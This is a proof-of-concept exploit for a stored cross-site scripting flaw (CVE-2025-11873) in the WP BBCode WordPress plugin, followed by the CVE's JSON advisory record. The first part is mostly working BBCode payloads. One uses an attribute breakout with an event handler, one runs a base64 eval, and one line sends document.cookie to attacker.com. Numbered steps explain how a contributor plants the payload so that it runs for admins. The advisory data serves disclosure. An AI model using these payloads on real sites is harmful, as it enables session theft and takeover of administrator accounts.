CVE-2025-11873

<!-- WordPress WP BBCode Plugin <= 1.8.1 Stored XSS PoC --> <!-- Requires Contributor-level or higher access --> <!-- PoC 1: Basic XSS via URL attribute --> [url=javascript:alert('XSS')]Click Here[/url] <!-- PoC 2: Cookie stealing payload --> [url=javascript:fetch('https://attacker.com/steal?c='+document.cookie)]Login[/url] <!-- PoC 3: Session hijacking with event handler --> [url=" onmouseover="alert(document.domain)"]Malicious Link[/url] <!-- PoC 4: Stored XSS in comment context --> [url=javascript:eval(atob('YWxlcnQoJ1hTUycpOw=='))]Test[/url] <!-- Exploit example for WordPress admin: --> <!-- 1. Create new post/page with contributor account --> <!-- 2. Insert malicious BBCode shortcode --> <!-- 3. Submit for review or publish if permitted --> <!-- 4. When admin/other users view the page, XSS executes -->

{"cve": {"id": "CVE-2025-11873", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:43.767", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP BBCode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'url' shortcode in all versions up to, and including, 1.8.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-bbcode/tags/1.8.1/wp-bbcode.php#L162", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/23623d4c-5859-48f8-b28d-3e3f15bade7d?source=cve", "source": "[email protected]"}]}}